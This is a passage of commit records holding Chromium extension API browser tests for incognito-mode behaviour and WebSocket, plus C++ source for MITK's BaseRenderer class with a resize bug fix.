and navigate to test page.\n  ui_test_utils::OpenURLOffTheRecord(\n      browser()->profile(),\n      test_server()->GetURL(\"files\/extensions\/test_file.html\"));\n\n  ASSERT_TRUE(LoadExtensionIncognito(test_data_dir_\n      .AppendASCII(\"incognito\").AppendASCII(\"split\")));\n\n  \/\/ Wait for both extensions to be ready before telling them to proceed.\n  ExtensionTestMessageListener listener(\"waiting\", true);\n  EXPECT_TRUE(listener.WaitUntilSatisfied());\n  ExtensionTestMessageListener listener_incognito(\"waiting\", true);\n  EXPECT_TRUE(listener_incognito.WaitUntilSatisfied());\n  listener.Reply(\"go\");\n  listener_incognito.Reply(\"go\");\n\n  EXPECT_TRUE(catcher.GetNextResult()) << catcher.message();\n  EXPECT_TRUE(catcher_incognito.GetNextResult()) << catcher.message();\n}\n\n\/\/ Tests that the APIs in an incognito-disabled extension don't see incognito\n\/\/ events or callbacks.\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, IncognitoDisabled) {\n  host_resolver()->AddRule(\"*\", \"127.0.0.1\");\n  ASSERT_TRUE(StartTestServer());\n\n  ResultCatcher catcher;\n\n  \/\/ Open incognito window and navigate to test page.\n  ui_test_utils::OpenURLOffTheRecord(\n      browser()->profile(),\n      test_server()->GetURL(\"files\/extensions\/test_file.html\"));\n\n  ASSERT_TRUE(LoadExtension(test_data_dir_\n      .AppendASCII(\"incognito\").AppendASCII(\"apis_disabled\")));\n\n  EXPECT_TRUE(catcher.GetNextResult()) << catcher.message();\n}\n\n\/\/ Test that opening a popup from an incognito browser window works properly.\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, IncognitoPopup) {\n  host_resolver()->AddRule(\"*\", \"127.0.0.1\");\n  ASSERT_TRUE(StartTestServer());\n\n  ResultCatcher catcher;\n\n  ASSERT_TRUE(LoadExtensionIncognito(test_data_dir_\n      .AppendASCII(\"incognito\").AppendASCII(\"popup\")));\n\n  \/\/ Open incognito window and navigate to test page.\n  ui_test_utils::OpenURLOffTheRecord(\n      browser()->profile(),\n      test_server()->GetURL(\"files\/extensions\/test_file.html\"));\n\n  Browser* incognito_browser = BrowserList::FindBrowserWithType(\n      browser()->profile()->GetOffTheRecordProfile(), Browser::TYPE_NORMAL,\n      false);\n\n  \/\/ Simulate the incognito's browser action being clicked.\n  BrowserActionTestUtil(incognito_browser).Press(0);\n\n  EXPECT_TRUE(catcher.GetNextResult()) << catcher.message();\n}\n<commit_msg>Mark ExtensionApiTest.Incognito as FLAKY.<commit_after>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/browser_list.h\"\n#include \"chrome\/browser\/browser_window.h\"\n#include \"chrome\/browser\/extensions\/browser_action_test_util.h\"\n#include \"chrome\/browser\/extensions\/extension_apitest.h\"\n#include \"chrome\/browser\/extensions\/extension_service.h\"\n#include \"chrome\/browser\/extensions\/extension_test_message_listener.h\"\n#include \"chrome\/browser\/extensions\/user_script_master.h\"\n#include \"chrome\/browser\/profiles\/profile.h\"\n#include \"chrome\/browser\/ui\/browser.h\"\n#include \"chrome\/common\/url_constants.h\"\n#include \"chrome\/test\/ui_test_utils.h\"\n#include \"content\/browser\/tab_contents\/tab_contents.h\"\n#include \"net\/base\/mock_host_resolver.h\"\n\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, IncognitoNoScript) {\n  ASSERT_TRUE(StartTestServer());\n\n  \/\/ Loads a simple extension which attempts to change the title of every page\n  \/\/ that loads to \"modified\".\n  ASSERT_TRUE(LoadExtension(test_data_dir_.AppendASCII(\"incognito\")\n      .AppendASCII(\"content_scripts\")));\n\n  \/\/ Open incognito window and navigate to test page.\n  ui_test_utils::OpenURLOffTheRecord(\n      browser()->profile(),\n      test_server()->GetURL(\"files\/extensions\/test_file.html\"));\n\n  Browser* otr_browser = BrowserList::FindBrowserWithType(\n      browser()->profile()->GetOffTheRecordProfile(), Browser::TYPE_NORMAL,\n      false);\n  TabContents* tab = otr_browser->GetSelectedTabContents();\n\n  \/\/ Verify the script didn't run.\n  bool result = false;\n  ASSERT_TRUE(ui_test_utils::ExecuteJavaScriptAndExtractBool(\n      tab->render_view_host(), L\"\",\n      L\"window.domAutomationController.send(document.title == 'Unmodified')\",\n      &result));\n  EXPECT_TRUE(result);\n}\n\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, IncognitoYesScript) {\n  host_resolver()->AddRule(\"*\", \"127.0.0.1\");\n  ASSERT_TRUE(StartTestServer());\n\n  \/\/ Load a dummy extension. This just tests that we don't regress a\n  \/\/ crash fix when multiple incognito- and non-incognito-enabled extensions\n  \/\/ are mixed.\n  ASSERT_TRUE(LoadExtension(test_data_dir_.AppendASCII(\"content_scripts\")\n      .AppendASCII(\"all_frames\")));\n\n  \/\/ Loads a simple extension which attempts to change the title of every page\n  \/\/ that loads to \"modified\".\n  ASSERT_TRUE(LoadExtensionIncognito(test_data_dir_\n      .AppendASCII(\"incognito\").AppendASCII(\"content_scripts\")));\n\n  \/\/ Dummy extension #2.\n  ASSERT_TRUE(LoadExtension(test_data_dir_\n      .AppendASCII(\"content_scripts\").AppendASCII(\"isolated_world1\")));\n\n  \/\/ Open incognito window and navigate to test page.\n  ui_test_utils::OpenURLOffTheRecord(\n      browser()->profile(),\n      test_server()->GetURL(\"files\/extensions\/test_file.html\"));\n\n  Browser* otr_browser = BrowserList::FindBrowserWithType(\n      browser()->profile()->GetOffTheRecordProfile(), Browser::TYPE_NORMAL,\n      false);\n  TabContents* tab = otr_browser->GetSelectedTabContents();\n\n  \/\/ Verify the script ran.\n  bool result = false;\n  ASSERT_TRUE(ui_test_utils::ExecuteJavaScriptAndExtractBool(\n      tab->render_view_host(), L\"\",\n      L\"window.domAutomationController.send(document.title == 'modified')\",\n      &result));\n  EXPECT_TRUE(result);\n}\n\n\/\/ Tests that an extension which is enabled for incognito mode doesn't\n\/\/ accidentially create and incognito profile.\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, DontCreateIncognitoProfile) {\n  ASSERT_FALSE(browser()->profile()->HasOffTheRecordProfile());\n  ASSERT_TRUE(RunExtensionTestIncognito(\n      \"incognito\/dont_create_profile\")) << message_;\n  ASSERT_FALSE(browser()->profile()->HasOffTheRecordProfile());\n}\n\n\/\/ Tests that the APIs in an incognito-enabled extension work properly.\n\/\/ Flaky - see crbug.com\/77951.\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, FLAKY_Incognito) {\n  host_resolver()->AddRule(\"*\", \"127.0.0.1\");\n  ASSERT_TRUE(StartTestServer());\n\n  ResultCatcher catcher;\n\n  \/\/ Open incognito window and navigate to test page.\n  ui_test_utils::OpenURLOffTheRecord(\n      browser()->profile(),\n      test_server()->GetURL(\"files\/extensions\/test_file.html\"));\n\n  ASSERT_TRUE(LoadExtensionIncognito(test_data_dir_\n      .AppendASCII(\"incognito\").AppendASCII(\"apis\")));\n\n  EXPECT_TRUE(catcher.GetNextResult()) << catcher.message();\n}\n\n\/\/ Tests that the APIs in an incognito-enabled split-mode extension work\n\/\/ properly.\n\/\/ Hangs flakily on mac, linux, win: http:\/\/crbug.com\/53991\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, DISABLED_IncognitoSplitMode) {\n  host_resolver()->AddRule(\"*\", \"127.0.0.1\");\n  ASSERT_TRUE(StartTestServer());\n\n  \/\/ We need 2 ResultCatchers because we'll be running the same test in both\n  \/\/ regular and incognito mode.\n  ResultCatcher catcher;\n  catcher.RestrictToProfile(browser()->profile());\n  ResultCatcher catcher_incognito;\n  catcher_incognito.RestrictToProfile(\n      browser()->profile()->GetOffTheRecordProfile());\n\n  \/\/ Open incognito window and navigate to test page.\n  ui_test_utils::OpenURLOffTheRecord(\n      browser()->profile(),\n      test_server()->GetURL(\"files\/extensions\/test_file.html\"));\n\n  ASSERT_TRUE(LoadExtensionIncognito(test_data_dir_\n      .AppendASCII(\"incognito\").AppendASCII(\"split\")));\n\n  \/\/ Wait for both extensions to be ready before telling them to proceed.\n  ExtensionTestMessageListener listener(\"waiting\", true);\n  EXPECT_TRUE(listener.WaitUntilSatisfied());\n  ExtensionTestMessageListener listener_incognito(\"waiting\", true);\n  EXPECT_TRUE(listener_incognito.WaitUntilSatisfied());\n  listener.Reply(\"go\");\n  listener_incognito.Reply(\"go\");\n\n  EXPECT_TRUE(catcher.GetNextResult()) << catcher.message();\n  EXPECT_TRUE(catcher_incognito.GetNextResult()) << catcher.message();\n}\n\n\/\/ Tests that the APIs in an incognito-disabled extension don't see incognito\n\/\/ events or callbacks.\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, IncognitoDisabled) {\n  host_resolver()->AddRule(\"*\", \"127.0.0.1\");\n  ASSERT_TRUE(StartTestServer());\n\n  ResultCatcher catcher;\n\n  \/\/ Open incognito window and navigate to test page.\n  ui_test_utils::OpenURLOffTheRecord(\n      browser()->profile(),\n      test_server()->GetURL(\"files\/extensions\/test_file.html\"));\n\n  ASSERT_TRUE(LoadExtension(test_data_dir_\n      .AppendASCII(\"incognito\").AppendASCII(\"apis_disabled\")));\n\n  EXPECT_TRUE(catcher.GetNextResult()) << catcher.message();\n}\n\n\/\/ Test that opening a popup from an incognito browser window works properly.\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, IncognitoPopup) {\n  host_resolver()->AddRule(\"*\", \"127.0.0.1\");\n  ASSERT_TRUE(StartTestServer());\n\n  ResultCatcher catcher;\n\n  ASSERT_TRUE(LoadExtensionIncognito(test_data_dir_\n      .AppendASCII(\"incognito\").AppendASCII(\"popup\")));\n\n  \/\/ Open incognito window and navigate to test page.\n  ui_test_utils::OpenURLOffTheRecord(\n      browser()->profile(),\n      test_server()->GetURL(\"files\/extensions\/test_file.html\"));\n\n  Browser* incognito_browser = BrowserList::FindBrowserWithType(\n      browser()->profile()->GetOffTheRecordProfile(), Browser::TYPE_NORMAL,\n      false);\n\n  \/\/ Simulate the incognito's browser action being clicked.\n  BrowserActionTestUtil(incognito_browser).Press(0);\n\n  EXPECT_TRUE(catcher.GetNextResult()) << catcher.message();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"base\/path_service.h\"\n#include \"chrome\/browser\/extensions\/extension_apitest.h\"\n#include \"chrome\/common\/chrome_paths.h\"\n#include \"chrome\/test\/base\/ui_test_utils.h\"\n#include \"net\/base\/mock_host_resolver.h\"\n\n\/\/ Disabled, http:\/\/crbug.com\/91058.\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, DISABLED_WebSocket) {\n  FilePath websocket_root_dir;\n  ASSERT_TRUE(PathService::Get(chrome::DIR_LAYOUT_TESTS, &websocket_root_dir));\n\n  ui_test_utils::TestWebSocketServer server;\n  ASSERT_TRUE(server.Start(websocket_root_dir));\n  ASSERT_TRUE(RunExtensionTest(\"websocket\")) << message_;\n}\n<commit_msg>Re-enable ExtensionApiTest.WebSocket.<commit_after>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"base\/path_service.h\"\n#include \"chrome\/browser\/extensions\/extension_apitest.h\"\n#include \"chrome\/common\/chrome_paths.h\"\n#include \"chrome\/test\/base\/ui_test_utils.h\"\n#include \"net\/base\/mock_host_resolver.h\"\n\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, WebSocket) {\n  FilePath websocket_root_dir;\n  ASSERT_TRUE(PathService::Get(chrome::DIR_LAYOUT_TESTS, &websocket_root_dir));\n\n  ui_test_utils::TestWebSocketServer server;\n  ASSERT_TRUE(server.Start(websocket_root_dir));\n  ASSERT_TRUE(RunExtensionTest(\"websocket\")) << message_;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*=========================================================================\n\nProgram:   Medical Imaging & Interaction Toolkit\nModule:    $RCSfile$\nLanguage:  C++\nDate:      $Date$\nVersion:   $Revision$\n\nCopyright (c) German Cancer Research Center, Division of Medical and\nBiological Informatics. All rights reserved.\nSee MITKCopyright.txt or http:\/\/www.mitk.org\/copyright.html for details.\n\nThis software is distributed WITHOUT ANY WARRANTY; without even\nthe implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\nPURPOSE.  See the above copyright notices for more information.\n\n=========================================================================*\/\n\n\n#include \"mitkBaseRenderer.h\"\n#include \"mitkPlaneGeometry.h\"\n#include \"mitkEventMapper.h\"\n#include \"mitkPositionEvent.h\"\n#include \"mitkGlobalInteraction.h\"\n#include \"mitkDisplayPositionEvent.h\"\n#include \"mitkWeakPointerProperty.h\"\n#include \"mitkSlicedGeometry3D.h\"\n#include \"mitkSliceNavigationController.h\"\n#include \"mitkStatusBar.h\"\n#include \"mitkInteractionConst.h\"\n#include <vtkTransform.h>\n\n\/\/##ModelId=3E3D2F120050\nmitk::BaseRenderer::BaseRenderer() : \n  m_MapperID(defaultMapper), m_DataTreeIterator(NULL), m_RenderWindow(NULL), m_LastUpdateTime(0), m_CameraController(NULL), m_Focused(false), \n  m_WorldGeometry(NULL), m_TimeSlicedWorldGeometry(NULL), m_CurrentWorldGeometry2D(NULL), m_Slice(0), m_TimeStep(0)\n{\n  m_Size[0] = 0;\n  m_Size[1] = 0;\n\n  \/\/adding this BaseRenderer to the List of all BaseRenderer\n  mitk::GlobalInteraction *globalInteraction = dynamic_cast<mitk::GlobalInteraction *>(EventMapper::GetGlobalStateMachine());\n  if (globalInteraction != NULL)\n\t{\n    globalInteraction->AddFocusElement(this);\n  }\n\n  WeakPointerProperty::Pointer rendererProp = new WeakPointerProperty((itk::Object*)this);\n\n  m_CurrentWorldGeometry2D = mitk::PlaneGeometry::New();\n\n  m_CurrentWorldGeometry2DData = mitk::Geometry2DData::New();\n  m_CurrentWorldGeometry2DData->SetGeometry2D(m_CurrentWorldGeometry2D);\n  m_CurrentWorldGeometry2DNode = mitk::DataTreeNode::New();\n  m_CurrentWorldGeometry2DNode->SetData(m_CurrentWorldGeometry2DData);\n  m_CurrentWorldGeometry2DNode->GetPropertyList()->SetProperty(\"renderer\", rendererProp);\n  m_CurrentWorldGeometry2DTransformTime = m_CurrentWorldGeometry2DNode->GetVtkTransform()->GetMTime();\n\n  m_DisplayGeometry = mitk::DisplayGeometry::New();\n  m_DisplayGeometry->SetWorldGeometry(m_CurrentWorldGeometry2D);\n  m_DisplayGeometryData = mitk::Geometry2DData::New();\n  m_DisplayGeometryData->SetGeometry2D(m_DisplayGeometry);\n  m_DisplayGeometryNode = mitk::DataTreeNode::New();\n  m_DisplayGeometryNode->SetData(m_DisplayGeometryData);\n  m_DisplayGeometryNode->GetPropertyList()->SetProperty(\"renderer\", rendererProp);\n  m_DisplayGeometryTransformTime = m_DisplayGeometryNode->GetVtkTransform()->GetMTime();\n}\n\n\n\/\/##ModelId=3E3D2F12008C\nmitk::BaseRenderer::~BaseRenderer()\n{\n  m_DataTreeIterator = NULL;\n}\n\n\/\/##ModelId=3D6A1791038B\nvoid mitk::BaseRenderer::SetData(const mitk::DataTreeIteratorBase* iterator)\n{\n  if(m_DataTreeIterator != iterator)\n  {\n    if (iterator != NULL)\n      m_DataTreeIterator = iterator;\n    else\n      m_DataTreeIterator = NULL;\n    Modified();\n  }\n}\n\n\/\/##ModelId=3E330C4D0395\nconst MapperSlotId mitk::BaseRenderer::defaultMapper = 1;\n\n\/\/##ModelId=3E33162C00D0\nvoid mitk::BaseRenderer::Paint()\n{\n}\n\n\/\/##ModelId=3E331632031E\nvoid mitk::BaseRenderer::Initialize()\n{\n}\n\n\/\/##ModelId=3E33163703D9\nvoid mitk::BaseRenderer::Resize(int w, int h)\n{\n  m_Size[0] = w;\n  m_Size[1] = h;\n\n  GetDisplayGeometry()->SetSizeInDisplayUnits(w, h);\n  \/\/@FIXME: die nchste Zeile ist nur da, weil der Anpassungsvorgang in SetSizeInDisplayUnits leider noch nicht richtig funktioniert.\n  GetDisplayGeometry()->Fit();\n}\n\n\/\/##ModelId=3E33163A0261\nvoid mitk::BaseRenderer::InitRenderer(mitk::RenderWindow* renderwindow)\n{\n  m_RenderWindow = renderwindow;\n}\n\n\/\/##ModelId=3E3799250397\nvoid mitk::BaseRenderer::InitSize(int w, int h)\n{\n  m_Size[0] = w;\n  m_Size[1] = h;\n  GetDisplayGeometry()->SetSizeInDisplayUnits(w, h, false);\n  GetDisplayGeometry()->Fit();\n}\n\nvoid mitk::BaseRenderer::SetSlice(unsigned int slice)\n{\n  if(m_Slice!=slice)\n  {\n    m_Slice = slice;\n    if(m_TimeSlicedWorldGeometry.IsNotNull())\n    {\n      SlicedGeometry3D* slicedWorldGeometry=dynamic_cast<SlicedGeometry3D*>(m_TimeSlicedWorldGeometry->GetGeometry3D(m_TimeStep));\n      if(slicedWorldGeometry!=NULL)\n      {\n        if(m_Slice >= slicedWorldGeometry->GetSlices())\n          m_Slice = slicedWorldGeometry->GetSlices()-1;\n        SetCurrentWorldGeometry2D(slicedWorldGeometry->GetGeometry2D(m_Slice));\n        m_CurrentWorldGeometry = slicedWorldGeometry;\n      }\n    }\n    else\n      Modified();\n  }\n}\n\nvoid mitk::BaseRenderer::SetTimeStep(unsigned int timeStep)\n{\n  if(m_TimeStep!=timeStep)\n  {\n    m_TimeStep = timeStep;\n    if(m_TimeSlicedWorldGeometry.IsNotNull())\n    {\n      if(m_TimeStep >= m_TimeSlicedWorldGeometry->GetTimeSteps())\n        m_TimeStep = m_TimeSlicedWorldGeometry->GetTimeSteps()-1;\n      SlicedGeometry3D* slicedWorldGeometry=dynamic_cast<SlicedGeometry3D*>(m_TimeSlicedWorldGeometry->GetGeometry3D(m_TimeStep));\n      if(slicedWorldGeometry!=NULL)\n      {\n        SetCurrentWorldGeometry2D(slicedWorldGeometry->GetGeometry2D(m_Slice));\n        m_CurrentWorldGeometry = slicedWorldGeometry;\n      }\n    }\n    else\n      Modified();\n  }\n}\n\n\/\/##ModelId=3E66CC590379\nvoid mitk::BaseRenderer::SetWorldGeometry(mitk::Geometry3D* geometry)\n{\n  itkDebugMacro(\"setting WorldGeometry to \" << geometry);\n\n  if(m_WorldGeometry != geometry)\n  {\n    m_WorldGeometry = geometry;\n    m_TimeSlicedWorldGeometry=dynamic_cast<TimeSlicedGeometry*>(geometry);\n    if(m_TimeSlicedWorldGeometry.IsNotNull())\n    {\n      itkDebugMacro(\"setting TimeSlicedWorldGeometry to \" << m_TimeSlicedWorldGeometry);\n      if(m_TimeStep >= m_TimeSlicedWorldGeometry->GetTimeSteps())\n        m_TimeStep = m_TimeSlicedWorldGeometry->GetTimeSteps()-1;\n      SlicedGeometry3D* slicedWorldGeometry=dynamic_cast<SlicedGeometry3D*>(m_TimeSlicedWorldGeometry->GetGeometry3D(m_TimeStep));\n      if(slicedWorldGeometry!=NULL)\n      {\n        if(m_Slice >= slicedWorldGeometry->GetSlices())\n          m_Slice = slicedWorldGeometry->GetSlices()-1;\n      }\n      assert(slicedWorldGeometry!=NULL); \/\/only as long as the todo described in SetWorldGeometry is not done\n      SetCurrentWorldGeometry2D(slicedWorldGeometry->GetGeometry2D(m_Slice)); \/\/ calls Modified()\n      m_CurrentWorldGeometry = slicedWorldGeometry;\n    }\n    else\n    {\n      Geometry2D* geometry2d=dynamic_cast<Geometry2D*>(geometry);\n      SetCurrentWorldGeometry2D(geometry2d);\n      m_CurrentWorldGeometry = geometry2d;\n      Modified();\n    }\n  }\n  if(m_CurrentWorldGeometry2D.IsNull())\n    itkWarningMacro(\"m_CurrentWorldGeometry2D is NULL\");\n}\n\n\/\/##ModelId=3E66CC59026B\nvoid mitk::BaseRenderer::SetDisplayGeometry(mitk::DisplayGeometry* geometry2d)\n{\n  itkDebugMacro(\"setting DisplayGeometry to \" << geometry2d);\n  if (m_DisplayGeometry != geometry2d)\n  {\n    m_DisplayGeometry = geometry2d;\n    m_DisplayGeometryData->SetGeometry2D(m_DisplayGeometry);\n    m_DisplayGeometryUpdateTime.Modified();\n    Modified();\n  }\n}\n\nvoid mitk::BaseRenderer::SetCurrentWorldGeometry2D(mitk::Geometry2D* geometry2d)\n{\n  if (m_CurrentWorldGeometry2D != geometry2d)\n  {\n    m_CurrentWorldGeometry2D = geometry2d;\n    m_CurrentWorldGeometry2DData->SetGeometry2D(m_CurrentWorldGeometry2D);\n    m_DisplayGeometry->SetWorldGeometry(m_CurrentWorldGeometry2D);\n    m_CurrentWorldGeometry2DUpdateTime.Modified();\n    Modified();\n  }\n}\n\nvoid mitk::BaseRenderer::SetGeometry(const itk::EventObject & geometrySendEvent)\n{\n  const SliceNavigationController::GeometrySendEvent* sendEvent =\n    dynamic_cast<const SliceNavigationController::GeometrySendEvent *>(&geometrySendEvent);\n\n  assert(sendEvent !=NULL);\n  SetWorldGeometry(sendEvent ->GetTimeSlicedGeometry());\n}\n\nvoid mitk::BaseRenderer::SetGeometrySlice(const itk::EventObject & geometrySliceEvent)\n{\n  const SliceNavigationController::GeometrySliceEvent* sliceEvent =\n    dynamic_cast<const SliceNavigationController::GeometrySliceEvent *>(&geometrySliceEvent);\n\n  assert(sliceEvent!=NULL);\n  SetSlice(sliceEvent->GetPos());\n}\n\nvoid mitk::BaseRenderer::SetGeometryTime(const itk::EventObject & geometryTimeEvent)\n{\n  const SliceNavigationController::GeometryTimeEvent * timeEvent =\n    dynamic_cast<const SliceNavigationController::GeometryTimeEvent *>(&geometryTimeEvent);\n\n  assert(timeEvent!=NULL);\n  SetTimeStep(timeEvent->GetPos());\n}\n\n\/\/##ModelId=3E6D5DD30322\nvoid mitk::BaseRenderer::MousePressEvent(mitk::MouseEvent *me)\n{\n  \/\/set the Focus on the renderer\n  mitk::GlobalInteraction *globalInteraction = dynamic_cast<mitk::GlobalInteraction *>(EventMapper::GetGlobalStateMachine());\n  if (globalInteraction != NULL)\n  {\n    bool success = globalInteraction->SetFocus(this);\n    if (! success) \n      mitk::StatusBar::DisplayText(\"Warning! from mitkBaseRenderer.cpp: Couldn't focus this BaseRenderer!\");\n  }\n\n  if (m_CameraController)\n  {\n    if(me->GetButtonState()!=512) \/\/ provisorisch: Ctrl nicht durchlassen. Bald wird aus m_CameraController eine StateMachine\n      m_CameraController->MousePressEvent(me);\n  }\n  if(m_MapperID==1)\n  {\n    Point2D p(me->GetDisplayPosition());\n    Point2D p_mm;\n    Point3D position;\n    GetDisplayGeometry()->ULDisplayToDisplay(p,p);\n    GetDisplayGeometry()->DisplayToMM(p, p_mm);\n    GetDisplayGeometry()->Map(p_mm, position);\n    mitk::PositionEvent event(this, me->GetType(), me->GetButton(), me->GetButtonState(), mitk::Key_unknown, p, position);\n    mitk::EventMapper::MapEvent(&event);\n  }\n  else if(m_MapperID==2)\n  {\n    Point2D p(me->GetDisplayPosition());\n\n    GetDisplayGeometry()->ULDisplayToDisplay(p,p);\n\/\/    std::cout << \"press event!\" << std::endl;\n    me->SetDisplayPosition(p);\n    mitk::EventMapper::MapEvent(me);\n  }\n}\n\n\/\/##ModelId=3E6D5DD30372\nvoid mitk::BaseRenderer::MouseReleaseEvent(mitk::MouseEvent *me)\n{\n  if (m_CameraController)\n  {\n    if(me->GetButtonState()!=512) \/\/ provisorisch: Ctrl nicht durchlassen. Bald wird aus m_CameraController eine StateMachine\n      m_CameraController->MouseReleaseEvent(me);\n  }\n\n  if(m_MapperID==1)\n  {\n    Point2D p(me->GetDisplayPosition());\n    Point2D p_mm;\n    Point3D position;\n    GetDisplayGeometry()->ULDisplayToDisplay(p,p);\n    GetDisplayGeometry()->DisplayToMM(p, p_mm);\n    GetDisplayGeometry()->Map(p_mm, position);\n    mitk::PositionEvent event(this, me->GetType(), me->GetButton(), me->GetButtonState(), mitk::Key_unknown, p, position);\n    mitk::EventMapper::MapEvent(&event);\n  }\n  else if(m_MapperID==2)\n  {\n    Point2D p(me->GetDisplayPosition());\n    GetDisplayGeometry()->ULDisplayToDisplay(p,p);\n    me->SetDisplayPosition(p);\n    mitk::EventMapper::MapEvent(me);\n  }\n}\n\n\/\/##ModelId=3E6D5DD303C2\nvoid mitk::BaseRenderer::MouseMoveEvent(mitk::MouseEvent *me)\n{\n  if (m_CameraController)\n  {\n    if((me->GetButtonState()<=512) || (me->GetButtonState()>=516))\/\/ provisorisch: Ctrl nicht durchlassen. Bald wird aus m_CameraController eine StateMachine\n      m_CameraController->MouseMoveEvent(me);\n  }\n  if(m_MapperID==1)\n  {\n    Point2D p(me->GetDisplayPosition());\n    Point2D p_mm;\n    Point3D position;\n    GetDisplayGeometry()->ULDisplayToDisplay(p,p);\n    GetDisplayGeometry()->DisplayToMM(p, p_mm);\n    GetDisplayGeometry()->Map(p_mm, position);\n    mitk::PositionEvent event(this, me->GetType(), me->GetButton(), me->GetButtonState(), mitk::Key_unknown, p, position);\n    mitk::EventMapper::MapEvent(&event);\n  }\n  else if(m_MapperID==2)\n  {\n    Point2D p(me->GetDisplayPosition());\n    GetDisplayGeometry()->ULDisplayToDisplay(p,p);\n    me->SetDisplayPosition(p);\n    mitk::EventMapper::MapEvent(me);\n  }\n}\n\nvoid mitk::BaseRenderer::PickWorldPoint(const mitk::Point2D& displayPoint, mitk::Point3D& worldPoint) const\n{\n  mitk::Point2D worldPoint2D;\n  GetDisplayGeometry()->DisplayToMM(displayPoint, worldPoint2D);\n  GetDisplayGeometry()->Map(worldPoint2D, worldPoint);\n}\n\nvoid mitk::BaseRenderer::WheelEvent(mitk::WheelEvent *we)\n{\n  \/\/mitk::Event event(this, ke->type(), Qt::NoButton, Qt::NoButton, ke->key());\n  \/\/mitk::EventMapper::MapEvent(&event);\n}\n\n\/\/##ModelId=3E6D5DD4002A\nvoid mitk::BaseRenderer::KeyPressEvent(mitk::KeyEvent *ke)\n{\n  if (m_CameraController)\n    m_CameraController->KeyPressEvent(ke);\n  mitk::Event event(this, ke->type(), BS_NoButton, BS_NoButton, ke->key());\n  mitk::EventMapper::MapEvent(&event);\n}\n\n\/\/##ModelId=3EF1627503C4\nvoid mitk::BaseRenderer::MakeCurrent()\n{\n}\n<commit_msg>FIX: bug #25: BaseRenderer::Resize has to tell m_CameraController the new size<commit_after>\/*=========================================================================\n\nProgram:   Medical Imaging & Interaction Toolkit\nModule:    $RCSfile$\nLanguage:  C++\nDate:      $Date$\nVersion:   $Revision$\n\nCopyright (c) German Cancer Research Center, Division of Medical and\nBiological Informatics. All rights reserved.\nSee MITKCopyright.txt or http:\/\/www.mitk.org\/copyright.html for details.\n\nThis software is distributed WITHOUT ANY WARRANTY; without even\nthe implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\nPURPOSE.  See the above copyright notices for more information.\n\n=========================================================================*\/\n\n\n#include \"mitkBaseRenderer.h\"\n#include \"mitkPlaneGeometry.h\"\n#include \"mitkEventMapper.h\"\n#include \"mitkPositionEvent.h\"\n#include \"mitkGlobalInteraction.h\"\n#include \"mitkDisplayPositionEvent.h\"\n#include \"mitkWeakPointerProperty.h\"\n#include \"mitkSlicedGeometry3D.h\"\n#include \"mitkSliceNavigationController.h\"\n#include \"mitkStatusBar.h\"\n#include \"mitkInteractionConst.h\"\n#include <vtkTransform.h>\n\n\/\/##ModelId=3E3D2F120050\nmitk::BaseRenderer::BaseRenderer() : \n  m_MapperID(defaultMapper), m_DataTreeIterator(NULL), m_RenderWindow(NULL), m_LastUpdateTime(0), m_CameraController(NULL), m_Focused(false), \n  m_WorldGeometry(NULL), m_TimeSlicedWorldGeometry(NULL), m_CurrentWorldGeometry2D(NULL), m_Slice(0), m_TimeStep(0)\n{\n  m_Size[0] = 0;\n  m_Size[1] = 0;\n\n  \/\/adding this BaseRenderer to the List of all BaseRenderer\n  mitk::GlobalInteraction *globalInteraction = dynamic_cast<mitk::GlobalInteraction *>(EventMapper::GetGlobalStateMachine());\n  if (globalInteraction != NULL)\n\t{\n    globalInteraction->AddFocusElement(this);\n  }\n\n  WeakPointerProperty::Pointer rendererProp = new WeakPointerProperty((itk::Object*)this);\n\n  m_CurrentWorldGeometry2D = mitk::PlaneGeometry::New();\n\n  m_CurrentWorldGeometry2DData = mitk::Geometry2DData::New();\n  m_CurrentWorldGeometry2DData->SetGeometry2D(m_CurrentWorldGeometry2D);\n  m_CurrentWorldGeometry2DNode = mitk::DataTreeNode::New();\n  m_CurrentWorldGeometry2DNode->SetData(m_CurrentWorldGeometry2DData);\n  m_CurrentWorldGeometry2DNode->GetPropertyList()->SetProperty(\"renderer\", rendererProp);\n  m_CurrentWorldGeometry2DTransformTime = m_CurrentWorldGeometry2DNode->GetVtkTransform()->GetMTime();\n\n  m_DisplayGeometry = mitk::DisplayGeometry::New();\n  m_DisplayGeometry->SetWorldGeometry(m_CurrentWorldGeometry2D);\n  m_DisplayGeometryData = mitk::Geometry2DData::New();\n  m_DisplayGeometryData->SetGeometry2D(m_DisplayGeometry);\n  m_DisplayGeometryNode = mitk::DataTreeNode::New();\n  m_DisplayGeometryNode->SetData(m_DisplayGeometryData);\n  m_DisplayGeometryNode->GetPropertyList()->SetProperty(\"renderer\", rendererProp);\n  m_DisplayGeometryTransformTime = m_DisplayGeometryNode->GetVtkTransform()->GetMTime();\n}\n\n\n\/\/##ModelId=3E3D2F12008C\nmitk::BaseRenderer::~BaseRenderer()\n{\n  m_DataTreeIterator = NULL;\n}\n\n\/\/##ModelId=3D6A1791038B\nvoid mitk::BaseRenderer::SetData(const mitk::DataTreeIteratorBase* iterator)\n{\n  if(m_DataTreeIterator != iterator)\n  {\n    if (iterator != NULL)\n      m_DataTreeIterator = iterator;\n    else\n      m_DataTreeIterator = NULL;\n    Modified();\n  }\n}\n\n\/\/##ModelId=3E330C4D0395\nconst 